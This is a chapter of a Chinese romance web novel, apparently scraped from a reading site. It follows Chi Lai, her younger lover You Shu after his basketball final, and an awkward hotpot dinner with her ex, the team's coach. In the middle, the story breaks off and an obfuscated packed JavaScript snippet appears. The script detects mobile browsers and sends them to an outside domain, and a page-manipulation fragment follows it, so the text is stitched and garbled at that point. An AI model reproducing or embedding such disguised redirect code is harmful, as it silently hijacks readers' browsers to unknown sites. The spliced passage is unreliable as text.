迟莱没有再出声，但是做了个嘴形说：我在看。 这一句无声的话远胜经久不绝的欢呼，下半场游恕更像是场上的主宰，最可怕的是，与此同时他还能清晰地打出完美配合，根本无懈可击。 最后南北大把比分咬死，以两分的差距拿到第一。 这是南北大近五年来第一次从体大手里夺下冠军。 散场的时候，体大几个人过来，说：“上次复赛我就说，这次有悬念了。” 刘畅作为队长，对外社交总少不了他，这会儿也正笑着说：“要不是计时赛，这一分两分的，没准还得被你们反超。” “哈哈哈哈，这一两分可压了我们一整场呢，少说客套话气人啊。” 体大校队里有不少跟游恕认识，私底下经常约球，关系还不错，“我就说你小子要抢我们饭碗。” 游恕说：“打三年了，抢一次问题不大吧。” “问题可大了去了，找个时间约一下，虐死你。”体大篮球队队长说。 “行，等你。” 游恕说了几句就先下场了，冲洗一下就赶紧去集合了。 路上给迟莱发了消息：等我，我跟队里说一声就过去。 迟莱：好。 原本还想体谅游恕跟队里不好说，没想到这人这么自觉。 游恕过去的时候，郑昊元正在车上点人，“游恕回来没？” “这里，我不跟队，晚点我自己回学校。” 郑昊元说：“干嘛去？” “跟家里人吃饭，走了。”游恕解释了一句就走了，也不等郑昊元点头。 乌泱泱的人从篮球馆撤出来，没有进场时的层层流程，人群散得也快了些。 体育馆选在了一个新区，占地面积富余，视野也足够开阔，天空像是一个巨大的穹顶，笼罩在这之上。 现在日头长了，这个点天色还没暗下来。 迟莱就站在篮球馆出来的空地上，边上人流不断。 “来了。”身边刚驻足停下的人一边喘息着一边说。 迟莱莞尔一笑，“刚打完还有力气跑？” “你这种不健身的人，肯定不行。”游恕扯着嘴角说，心情很好。 18. 第 18 章 “今晚什么安排？”迟莱问。 “你说。” “你们宿舍晚上查寝吗？” “......应该不查。”就算是要查也都是突击检查，所以查不查的都差不多。 迟莱看着游恕，一副若有所思的样子，眼神渐渐变得意味深长了起来。 游恕觉得自己有种被眼神凌迟的感觉，心里难捱，喉结上下动了动，开口问：“笑什么？” 迟莱说：“笑又不犯法，开心不能笑？” “我赢了球，你这么开心？” “是啊，这是你自己的球？”迟莱指了指游恕手里抱着的球，他好像经常带着打。 游恕说：“嗯，一会儿带回去。” “比赛的时候好像不是这个。” 迟莱探究的眼神过去，游恕就把球递了过去，让她看个仔细 游恕的球是全黑金线，和赛场上用的明显不一样。 “热身的时候用了一下就换比赛用球了，正式比赛都不让自己带球的。”游恕解释道。 “那你还带。” 游恕说：“嗯，定心丸。” 他伸手接回球说：“给我吧，脏。” 迟莱摊开手掌看了看，没蹭上什么，但还是恶作剧似的往游恕的球衣上擦，游恕也由着她擦，都没低头看眼自己的衣服。 她忽然想起来说：“刚刚等你的时候给你室友刷了个礼物。” 这个点方星泽确实开播了，游恕以为是迟莱等得无聊了，“不是说钱留着吗？” “留着包养你？放心吧，用的是我的私房钱，你那份没动。”两个人就这么口头说，谁也没有在意包不包养，给没给钱的事。 “怎么又想着去刷了？” “上次不是说好了上车吗？正好你比赛结束了，晚上打游戏轻松一下，这是‘车费’。”迟莱说。 游恕心里暗暗地想，这游戏不给他添堵就不错了，还放松呢。 迟莱看游恕不情愿的样子，凑近了问：“想反悔？” “没有，打呗。”听着有些自暴自弃的意思。 “嗯，想吃什么庆祝一下？”迟莱在等游恕挑地方，这边他应该常来，有什么好吃的肯定比自己清楚。 游恕说：“吃火锅吧，附近有一家还不错。” 今晚南北市又大面积降温，前几天刚升温这会儿又降回去了。近一个多月的气候变化无常，让人仿佛倍速过了一个四季，温度上上下下的，毫无规律。 迟莱正想答应，谁知刚走到大门口，就碰上了南北大的校车驶出来。 “迟莱？”郑昊元正巧坐在第一排的车窗边，看见一张自己再眼熟不过的脸，开窗喊了一声。 这边是出入口，司机把大巴开出去了点才停下，以免妨碍其他出来的车子，造成堵塞。 郑昊元下车走了过来。 游恕此时一脸的不爽，迟莱心里也好不到哪儿去，毕竟谁愿意自己的旧情人被现在的勾搭对象撞上呢，况且俩人还是一个队里的师生关系。 “你怎么在这儿？游恕你......” 迟莱简短地说了一句：“来看比赛。” 郑昊元想起游恕刚刚离队的时候说是要跟家里人吃饭，而且今天来现场的不是他姐吗，怎么变成迟莱了？他们怎么认识的？ “我都不知道你还有个弟弟是我学生呢？”郑昊元的目光在两个人之间游走。 迟莱内涵着说：“那说明你以前管的少，挺好。” 郑昊元不介意地问：“一起去吃饭吗？大家约了去吃海底捞。” “看你，你去吗？要是没你说的那家好吃就算了。”迟莱一句话，给了游恕选择，也给他找好了不去的理由，郑昊元毕竟是他老师，他应该不好拒绝。 郑昊元看向游恕说：“介意我跟她叙叙旧吗？不放心的话......” “去呗。”游恕说。 郑昊元转身走在前头上了校车，游恕则和迟莱一起去了停车场。 车上，迟莱问：“这么容易被激？” “是，所以你要叙旧吗？” 游恕能猜到俩人之前的关系，本来也没什么，但是他总隐约感觉郑昊元还在有意无意地纠缠，也许第一次在办公室的时候就是，所以烦得很。 迟莱爱看他这样情绪外放，和隐忍不放的时候有很大反差。 她伸手捏了捏游恕结实有力的小臂，惋惜地说：“可惜了这一身衣服。” 原本打算的吃完饭还能找个地方调调情，现在心情被破坏了，时间也被占用了。 游恕咳嗽了一声，“晚点去没什么。” “嗯？” “现在可以检查，今天运动量超标，效果应该不错。”游恕说。 迟莱眼里含笑，放在游恕小臂上的手不断上移，又往他身前探去，刺激到某个敏感点，游恕不由地一声闷哼。 “算了，怕收不住。”迟莱含笑说。 七八个人特意定了一个半包围的海底捞包间，空出的两个位置正好留给游恕和迟莱。 两个人跟校队的人前后脚，差不多时间到。 “小莱姐，今天比赛怎么样？”林家默今天赢了比赛，好不容易见到个观众，非得听两句好听的。 结果，游恕在一边煞风景地来了一句：“她看不懂。” 迟莱在桌子下拍了他一下，对着坐在自己斜前方的林家默说：“从我一个外行人的角度来说，也很精彩。” “哈哈哈哈，我也觉得，你们不知道，我今天接到副队那一球的时候......” 一桌人聊得起劲，复盘着今天的比赛心得。 迟莱趁这个时候，想先起身去搞蘸料，谁知那头的郑昊元看到了，抢先起身去了。游恕本来就没有专心在聊天，这会儿注意到了迟莱要走，原本撑在沙发上的手，过去拉住了迟莱。 迟莱还能不知道游恕现在什么心思嘛，另一只手按住了游恕拉着她的手，说：“喜欢什么口味的，我给你调？” 游恕被迟莱照顾的口气安抚住了，只能听话地把手松了，但是嘴上还是不服气说：“醋。” 长期运动保持身材的人，还是挺忌火锅这种重油重盐的东西的，不过游恕向来不忌，仗着年轻代谢好，胡喝海吃都照样保持。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15228018|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以这一下明显就是说给迟莱听的，倒是逗得迟莱笑出了声。 迟莱的蘸料就是什么都往里放一点，毫无配比可言，幸好调料区的东西都是刚添上的，应有尽有。 “你跟游恕怎么认识的？”郑昊元果不其然靠了过来问。 在他看来，迟莱这会儿还肯过来，就也是有话想跟他说的。 然而迟莱只是懒得躲他，撞上了算她倒霉，她没有必要为了别人刻意改变自己的步调，做或不做什么事。 迟莱没有回答这个，而是说起了之前问他陈锋意在哪儿的事， “上次谢谢你告诉我地址，一声谢谢就算我还了你的举手之劳了，毕竟陈锋意和许倩倩也不算好聚好散。我们以前是，别走着走着也变不是了。” 郑昊元知道迟莱是在告诉他，别再越界，不然连和气都没了。 然而话都问出口了，得不到答案怎么甘心，“我没说要你还人情，你跟游恕是上次在办公室那次认识的？” 除此之外，郑昊元想不到这两个人还有什么可能有交集。 “不是。”迟莱不耐烦地说。 “不是？算了，我只是想跟你说游恕他从来不跟女生有过多接触，他能跟你一起，你觉得他能图你什么？” 迟莱说：“你想说他图我钱。” 郑昊元默认了，他也听得出迟莱这话不是在问他，而是在称述。 在迟莱这里，他们本来就是各取所需，游恕图钱、图色都再正常不过了，自己有钱有色，这么看来他简直就是完美情人。 “我有钱，所以你不用操心我养不起。”迟莱礼貌地微笑说完，没有再给郑昊元留下多余的时间，就端着两碟蘸料走了。 游恕的心思一直在那边，待人回来了，立马别扭地说：“叙完旧了？” “嗯，你的醋。” “旧情复燃了就告诉我一声，我好收拾收拾走。” 迟莱演得一手好戏，装不明白说：“收拾收拾去哪儿？我好像还没告诉你我家的地址吧？” 游恕哼了一声，拿走自己的一碟子醋，随便夹了点东西，蘸了醋就往嘴里塞。 “别乱吃醋啊，我现在见他比你见他烦。”迟莱说。 “你最好是。” “我本来就是。” 虽然还是这么互相呛，但是左右是过了。 散场的时候，迟莱把游恕带走了，郑昊元在一边站着，脸上尽是烦闷。 “唉，游恕他姐真好，长这么漂亮，还这么关心弟弟，有空就来看我们打球。”刘畅在边上感慨道。 郑昊元听见了问：“她经常来看？” “谁？郑老师说小莱姐啊，是啊，她上次训练赛，还有之前校园赛都来了。”刘畅说。 郑昊元回想起自己和迟莱交往的时候，她就来过学校一次，还是为了打发她妈。她总是很忙，但这份忙，现在看来也只是懒得为他跑罢了。 其他人都上了车，最后只剩下了郑昊元站在车门前，还是刘畅提醒他上车，这才齐了人，回了学校。 迟莱这边，刚把人带上车，屁股还没坐稳，就被游恕探身压了过来。